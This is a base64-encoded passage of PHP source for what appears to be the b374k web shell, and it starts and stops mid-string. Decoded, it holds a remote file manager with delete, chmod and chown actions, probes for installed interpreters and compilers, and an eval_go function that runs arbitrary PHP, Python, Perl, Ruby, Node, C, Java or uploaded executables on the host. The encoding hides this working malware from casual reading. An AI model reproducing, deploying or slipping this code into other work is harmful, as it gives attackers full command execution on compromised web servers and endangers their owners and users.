gk8dHIgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkZmlsZSkuIic+PHRkIGNvbHNwYW49JzInPgoJPHNwYW4gY2xhc3M9J25hdmlnYXRlIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+ZXhwbG9yZXI8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYWN0aW9uIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+YWN0aW9uPC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ3JhdycpO2hpZGVfYm94KCk7XCI+cmF3PC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ2NvZGUnKTtoaWRlX2JveCgpO1wiPmNvZGU8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaGV4Jyk7aGlkZV9ib3goKTtcIj5oZXg8L3NwYW4+Cgk8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaW1hZ2UnKTtoaWRlX2JveCgpO1wiPmltYWdlPC9zcGFuPgoJPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ211bHRpbWVkaWEnKTtoaWRlX2JveCgpO1wiPm11bHRpbWVkaWE8L3NwYW4+Cgk8L3RkPjwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3ZpZXdGaWxlY29udGVudCc+Ii4kY29udGVudC4iPC9kaXY+PC90ZD48L3RyPgoJPC90YWJsZT4iOwoKCgkJfQoJCWVsc2UgJG91dHB1dCA9ICJlcnJvciI7CgkJcmV0dXJuICRvdXRwdXQ7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF93cml0YWJsZWRpcicpKXsKCWZ1bmN0aW9uIGdldF93cml0YWJsZWRpcigpewoJCWlmKGlzX3dyaXRhYmxlKCIuIikpIHJldHVybiByZWFscGF0aCgiLiIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJZWxzZXsKCQkJZm9yZWFjaChhcnJheSgnVE1QJywgJ1RFTVAnLCAnVE1QRElSJykgYXMgJGspewoJCQkJaWYoIWVtcHR5KCRfRU5WWyRrXSkpewoJCQkJCWlmKGlzX3dyaXRhYmxlKCRfRU5WWyRrXSkpIHJldHVybiByZWFscGF0aCgkX0VOVlska10pLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCQl9CgkJCX0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikpewoJCQkJJGRpciA9IHN5c19nZXRfdGVtcF9kaXIoKTsKCQkJCWlmKGlzX3dyaXRhYmxlKCRkaXIpKSByZXR1cm4gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJfQoJCQllbHNlewoJCQkJaWYoIWlzX3dpbigpKXsgaWYoaXNfd3JpdGFibGUoIi90bXAiKSkgcmV0dXJuICIvdG1wLyI7IH0KCQkJfQoKCQkJJHRlbXBmaWxlID0gdGVtcG5hbShfX0ZJTEVfXywnJyk7CgkJCWlmKGZpbGVfZXhpc3RzKCR0ZW1wZmlsZSkpewoJCQkJJGRpciA9IHJlYWxwYXRoKGRpcm5hbWUoJHRlbXBmaWxlKSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCXVubGluaygkdGVtcGZpbGUpOwoJCQkJcmV0dXJuICRkaXI7CgkJCX0KCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZHJpdmVzJykpewoJZnVuY3Rpb24gZ2V0X2RyaXZlcygpewoJCSRkcml2ZXMgPSAiIjsKCQkkdiA9IGV4cGxvZGUoIlxcIiwgZ2V0X2N3ZCgpKTsKCQkkdiA9ICR2WzBdOwoJCWZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkbGV0dGVyKXsKCQkJaWYoQGlzX3JlYWRhYmxlKCRsZXR0ZXIuIjpcXCIpKXsKCQkJCSRkcml2ZXMgLj0gIjxhIGNsYXNzPSduYXZiYXInIGRhdGEtcGF0aD0nIi4kbGV0dGVyLiI6XFwnPlsgIjsKCQkJCWlmKCRsZXR0ZXIuIjoiICE9ICR2KSAkZHJpdmVzIC49ICRsZXR0ZXI7CgkJCQllbHNleyRkcml2ZXMgLj0gIjxzcGFuIGNsYXNzPSdkcml2ZS1sZXR0ZXInPiIuJGxldHRlci4iPC9zcGFuPiI7fQoJCQkJJGRyaXZlcyAuPSAiIF08L2E+ICI7CgkJCX0KCQl9CgkJcmV0dXJuICRkcml2ZXM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Nob3dfYWxsX2ZpbGVzJykpewoJZnVuY3Rpb24gc2hvd19hbGxfZmlsZXMoJHBhdGgpewoJCWlmKCFpc19kaXIoJHBhdGgpKSByZXR1cm4gIk5vIHN1Y2ggZGlyZWN0b3J5IDogIi4kcGF0aDsKCQljaGRpcigkcGF0aCk7CgkJJG91dHB1dCA9ICIiOwoJCSRhbGxmaWxlcyA9ICRhbGxmb2xkZXJzID0gYXJyYXkoKTsKCQlpZigkcmVzID0gb3BlbmRpcigkcGF0aCkpewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJHJlcykpewoJCQkJaWYoKCRmaWxlIT0nLicpJiYoJGZpbGUhPSIuLiIpKXsKCQkJCQlpZihpc19kaXIoJGZpbGUpKSAkYWxsZm9sZGVyc1tdID0gJGZpbGU7CgkJCQkJZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSRhbGxmaWxlc1tdID0gJGZpbGU7CgkJCQl9CgkJCX0KCQl9CgoJCWFycmF5X3Vuc2hpZnQoJGFsbGZvbGRlcnMsICIuIik7CgkJJGN1ciA9IGdldGN3ZCgpOwoJCWNoZGlyKCIuLiIpOwoJCWlmKGdldGN3ZCgpIT0kY3VyKSBhcnJheV91bnNoaWZ0KCRhbGxmb2xkZXJzLCAiLi4iKTsKCQljaGRpcigkY3VyKTsKCgkJbmF0Y2FzZXNvcnQoJGFsbGZvbGRlcnMpOwoJCW5hdGNhc2Vzb3J0KCRhbGxmaWxlcyk7CgoJCSRjb2xzID0gYXJyYXkoKTsKCQlpZihpc193aW4oKSl7CgkJCSRjb2xzID0gYXJyYXkoCgkJCQkJInBlcm1zIj0+ImdldF9maWxlcGVybXMiLAoJCQkJCSJtb2RpZmllZCI9PiJnZXRfZmlsZW10aW1lIgoJCQkJCSk7CgkJfQoJCWVsc2V7CgkJCSRjb2xzID0gYXJyYXkoCgkJCQkJIm93bmVyIj0+ImdldF9maWxlb3duZXIiLAoJCQkJCSJwZXJtcyI9PiJnZXRfZmlsZXBlcm1zIiwKCQkJCQkibW9kaWZpZWQiPT4iZ2V0X2ZpbGVtdGltZSIKCQkJCQkpOwoJCX0KCgkJJHRvdGFsRmlsZXMgPSBjb3VudCgkYWxsZmlsZXMpOwoJCSR0b3RhbEZvbGRlcnMgPSAwOwoKCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3hwbFRhYmxlJyBjbGFzcz0nZGF0YVZpZXcgc29ydGFibGUnPjx0aGVhZD4iOwoJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdjb2wtbmFtZSc+bmFtZTwvdGg+PHRoIGNsYXNzPSdjb2wtc2l6ZSc+c2l6ZTwvdGg+IjsKCgkJZm9yZWFjaCgkY29scyBhcyAkaz0+JHYpewoJCQkkb3V0cHV0IC49ICI8dGggY2xhc3M9J2NvbC0iLiRrLiInPiIuJGsuIjwvdGg+IjsKCQl9CgkJJG91dHB1dCAuPSAiPC90cj48L3RoZWFkPjx0Ym9keT4iOwoKCQlmb3JlYWNoKCRhbGxmb2xkZXJzIGFzICRkKXsKCQkJJGNib3hFeGNlcHRpb24gPSAiIjsKCQkJaWYoKCRkPT0iLiIpfHwoJGQ9PSIuLiIpKXsKCQkJCSRhY3Rpb24gPSAiYWN0aW9uZG90IjsKCQkJCSRjYm94RXhjZXB0aW9uID0gIiBjQm94RXhjZXB0aW9uIjsKCQkJfQoJCQllbHNlewoJCQkJJGFjdGlvbiA9ICJhY3Rpb25mb2xkZXIiOwoJCQkJJHRvdGFsRm9sZGVycysrOwoJCQl9CgkJCSRvdXRwdXQgLj0gIgoJPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRkKS5ESVJFQ1RPUllfU0VQQVJBVE9SKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3giLiRjYm94RXhjZXB0aW9uLiInPjwvZGl2PjwvdGQ+Cgk8dGQgc3R5bGU9J3doaXRlLXNwYWNlOm5vcm1hbDsnPjxhIGNsYXNzPSduYXZpZ2F0ZSc+WyAiLmh0bWxfc2FmZSgkZCkuIiBdPC9hPjxzcGFuIGNsYXNzPSciLiRhY3Rpb24uIiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4KCTx0ZD5ESVI8L3RkPiI7CgkJCWZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsKCQkJCSRzb3J0YWJsZSA9ICIiOwoJCQkJaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRkKS4iJyI7CgkJCQkkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGQpLiI8L3RkPiI7CgkJCX0KCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCX0KCQlmb3JlYWNoKCRhbGxmaWxlcyBhcyAkZil7CgkJCSRvdXRwdXQgLj0gIgoJPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRmKSkuIlwiPjx0ZD48ZGl2IGNsYXNzPSdjQm94Jz48L2Rpdj48L3RkPgoJPHRkIHN0eWxlPSd3aGl0ZS1zcGFjZTpub3JtYWw7Jz48YSBjbGFzcz0ndmlldyc+Ii5odG1sX3NhZmUoJGYpLiI8L2E+PHNwYW4gY2xhc3M9J2FjdGlvbiBmbG9hdFJpZ2h0Jz5hY3Rpb248L3NwYW4+PC90ZD4KCTx0ZCB0aXRsZT0nIi5maWxlc2l6ZSgkZikuIic+Ii5nZXRfZmlsZXNpemUoJGYpLiI8L3RkPiI7CgkJCWZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsKCQkJCSRzb3J0YWJsZSA9ICIiOwoJCQkJaWYoJGs9PSdtb2RpZmllZCcpICRzb3J0YWJsZSA9ICIgdGl0bGU9JyIuZmlsZW10aW1lKCRmKS4iJyI7CgkJCQkkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGYpLiI8L3RkPiI7CgkJCX0KCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCX0KCQkkb3V0cHV0IC49ICI8L3Rib2R5Pjx0Zm9vdD4iOwoKCQkkY29sc3BhbiA9IDEgKyBjb3VudCgkY29scyk7CgkJJG91dHB1dCAuPSAiPHRyPjx0ZD48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RkPjx0ZD4KCQk8c2VsZWN0IGlkPSdtYXNzQWN0aW9uJyBjbGFzcz0nY29sU3Bhbic+CgkJPG9wdGlvbiBkaXNhYmxlZCBzZWxlY3RlZD5BY3Rpb248L29wdGlvbj4KCQk8b3B0aW9uPmN1dDwvb3B0aW9uPgoJCTxvcHRpb24+Y29weTwvb3B0aW9uPgoJCTxvcHRpb24+cGFzdGU8L29wdGlvbj4KCQk8b3B0aW9uPmRlbGV0ZTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPG9wdGlvbj5jaG1vZDwvb3B0aW9uPgoJCTxvcHRpb24+Y2hvd248L29wdGlvbj4KCQk8b3B0aW9uPnRvdWNoPC9vcHRpb24+CgkJPG9wdGlvbiBkaXNhYmxlZD4tLS0tLS0tLS0tLS08L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHRhci5neik8L29wdGlvbj4KCQk8b3B0aW9uPmV4dHJhY3QgKHppcCk8L29wdGlvbj4KCQk8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPgoJCTxvcHRpb24+Y29tcHJlc3MgKHRhcik8L29wdGlvbj4KCQk8b3B0aW9uPmNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+CgkJPG9wdGlvbj5jb21wcmVzcyAoemlwKTwvb3B0aW9uPgoJCTxvcHRpb24gZGlzYWJsZWQ+LS0tLS0tLS0tLS0tPC9vcHRpb24+CgkJPC9zZWxlY3Q+CgkJPC90ZD48dGQgY29sc3Bhbj0nIi4kY29sc3Bhbi4iJz48L3RkPjwvdHI+CgkJPHRyPjx0ZD48L3RkPjx0ZCBjb2xzcGFuPSciLisrJGNvbHNwYW4uIic+Ii4kdG90YWxGaWxlcy4iIGZpbGUocyksICIuJHRvdGFsRm9sZGVycy4iIEZvbGRlcihzKTxzcGFuIGNsYXNzPSd4cGxTZWxlY3RlZCc+PC9zcGFuPjwvdGQ+PC90cj4KCQkiOwoJCSRvdXRwdXQgLj0gIjwvdGZvb3Q+PC90YWJsZT4iOwoJCXJldHVybiAkb3V0cHV0OwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdldmFsX2dldF9zdXBwb3J0ZWQnKSl7CglmdW5jdGlvbiBldmFsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZXZhbF9zdXBwb3J0ZWQgPSBhcnJheSgpOwoJCQoJCSRldmFsX3N1cHBvcnRlZFtdID0gInBocCI7CgoJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicHl0aG9uIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicHl0aG9uIjsKCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJwZXJsIC1oIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAicGVybCI7CgoJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicnVieSAtaCIpKTsKCQlpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInJ1YnkiOwoKCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGUgLWgiKSk7CgkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlIjsKCQllbHNlewoJCQkkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGVqcyAtaCIpKTsKCQkJaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJub2RlanMiOwoJCX0KCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJnY2MgLS1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiZ2NjIjsKCgkJJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhIC1oZWxwIikpOwoJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSl7CgkJCSRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgiamF2YWMgLWhlbHAiKSk7CgkJCWlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAiamF2YSI7CgkJfQoKCQlyZXR1cm4gaW1wbG9kZSgiLCIsICRldmFsX3N1cHBvcnRlZCk7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ28nKSl7CglmdW5jdGlvbiBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsKCQkkcmVzID0gIiI7CgkJJG91dHB1dCA9ICIiOwoJCWlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7CgkJaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsKCgkJaWYoJGV2YWxUeXBlPT0icGhwIil7CgkJCW9iX3N0YXJ0KCk7CgkJCWV2YWwoJGV2YWxDb2RlKTsKCQkJJHJlcyA9IG9iX2dldF9jb250ZW50cygpOwoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJcmV0dXJuICRyZXM7CgkJfQoJCWVsc2VpZigoJGV2YWxUeXBlPT0icHl0aG9uIil8fCgkZXZhbFR5cGU9PSJwZXJsIil8fCgkZXZhbFR5cGU9PSJydWJ5Iil8fCgkZXZhbFR5cGU9PSJub2RlIil8fCgkZXZhbFR5cGU9PSJub2RlanMiKSl7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgoJCQkkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7CgkJCWlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKCQkJCSRyZXMgLj0gIiAod3JpdGFibGUpXG4iOwoJCQkJJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsKCQkJCSRwYXRoID0gJGZpbGVuYW1lOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJHJlcyAuPSAiU2V0dGluZyBwZXJtaXNzaW9ucyA6IDA3NTUiOwoJCQkJCWlmKGNobW9kKCRwYXRoLCAwNzU1KSl7CgkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkkY21kID0gJGV2YWxUeXBlLiIgIi4kZXZhbE9wdGlvbnMuJHBhdGguJGV2YWxBcmd1bWVudHM7CgkJCQkJCSRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJfQoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQllbHNlaWYoJGV2YWxUeXBlPT0iZ2NjIil7CgkJCSR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsKCQkJY2hkaXIoJHRtcGRpcik7CgoJCQkkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7CgkJCWlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsKCQkJCSRyZXMgLj0gIiAod3JpdGFibGUpXG4iOwoJCQkJJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsKCQkJCSRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmMiOwoJCQkJJHBhdGggPSAkZmlsZW5hbWU7CgkJCQkkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQlpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkkZXh0ID0gKGlzX3dpbigpKT8gIi5leGUiOiIub3V0IjsKCQkJCQkkcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0OwoJCQkJCSRldmFsT3B0aW9ucyA9ICItbyAiLiRwYXRocmVzLiIgIi4kZXZhbE9wdGlvbnM7CgkJCQkJJGNtZCA9ICJnY2MgIi4kZXZhbE9wdGlvbnMuJHBhdGg7CgkJCQkJJHJlcyAuPSAiQ29tcGlsaW5nIDogIi4kY21kOwoJCQkJCSRyZXMgLj0gZXhlY3V0ZSgkY21kKTsKCQkJCQlpZihpc19maWxlKCRwYXRocmVzKSl7CgkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkkcmVzIC49ICJTZXR0aW5nIHBlcm1pc3Npb25zIDogMDc1NSI7CgkJCQkJCWlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7CgkJCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkJCSRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsKCQkJCQkJCSRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsKCQkJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoJCQkJCQl9CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGhyZXM7CgkJCQkJCWlmKHVubGluaygkcGF0aHJlcykpICRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQl9CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJCWlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOwoJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJfQoJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCX0KCQkJZWxzZSAkcmVzIC49ICIgKG5vdCB3cml0YWJsZSlcbiI7CgoJCQkkcmVzIC49ICJGaW5pc2hlZC4uLiI7CgkJCXJldHVybiAkcmVzLiJ7W3xiMzc0a3xdfSIuJG91dHB1dDsKCQl9CgkJZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsKCQkJJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOwoJCQljaGRpcigkdG1wZGlyKTsKCgkJCSRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsKCQkJaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpewoJCQkJJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7CgoJCQkJaWYocHJlZ19tYXRjaCgiL2NsYXNzXCAoW157XSspey9pIiwkZXZhbENvZGUsICRyKSl7CgkJCQkJJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOwoJCQkJCSRmaWxlbmFtZSA9ICRjbGFzc25hbWU7CgkJCQl9CgkJCQllbHNlewoJCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkJJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOwoJCQkJCSRldmFsQ29kZSA9ICJjbGFzcyAiLiRmaWxlbmFtZS4iIHsgIi4kZXZhbENvZGUgLiAiIH0gIjsKCQkJCX0KCgkJCQkkcGF0aCA9ICRmaWxlbmFtZS4iLmphdmEiOwoJCQkJJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOwoJCQkJaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7CgkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsKCQkJCQkkcmVzIC49ICJDb21waWxpbmcgOiAiLiRjbWQ7CgkJCQkJJHJlcyAuPSBleGVjdXRlKCRjbWQpOwoJCQkJCSRwYXRocmVzID0gJGZpbGVuYW1lLiIuY2xhc3MiOwoJCQkJCWlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsKCQkJCQkJJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCSRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsKCQkJCQkJaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsKCQkJCQkJCSRyZXMgLj0gIiAob2spXG4iOwoJCQkJCQkJJGNtZCA9ICJqYXZhICIuJGZpbGVuYW1lLiRldmFsQXJndW1lbnRzOwoJCQkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCQkJJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7CgkJCQkJCX0KCQkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQkJCSRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aHJlczsKCQkJCQkJaWYodW5saW5rKCRwYXRocmVzKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJCWVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbmlzaGVkLi4uIjsKCQkJcmV0dXJuICRyZXMuIntbfGIzNzRrfF19Ii4kb3V0cHV0OwoJCX0KCQllbHNlaWYoJGV2YWxUeXBlPT0iZXhlY3V0YWJsZSIpewoJCQkkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7CgkJCWNoZGlyKCR0bXBkaXIpOwoKCQkJJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOwoJCQlpZihpc193cml0YWJsZSgkdG1wZGlyKSl7CgkJCQkkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsKCQkJCSR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7CgkJCQkkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5leGUiOwoJCQkJJHBhdGggPSAkZmlsZW5hbWU7CgkJCQkkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQlpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsKCQkJCQkkcmVzIC49ICIgKG9rKVxuIjsKCQkJCQkkY21kID0gJHBhdGguJGV2YWxBcmd1bWVudHM7CgkJCQkJJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOwoJCQkJCSRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOwoKCQkJCQkkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7CgkJCQkJaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7CgkJCQkJZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7CgkJCQl9CgkJCQllbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsKCQkJfQoJCQllbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsKCgkJCSRyZXMgLj0gIkZpbml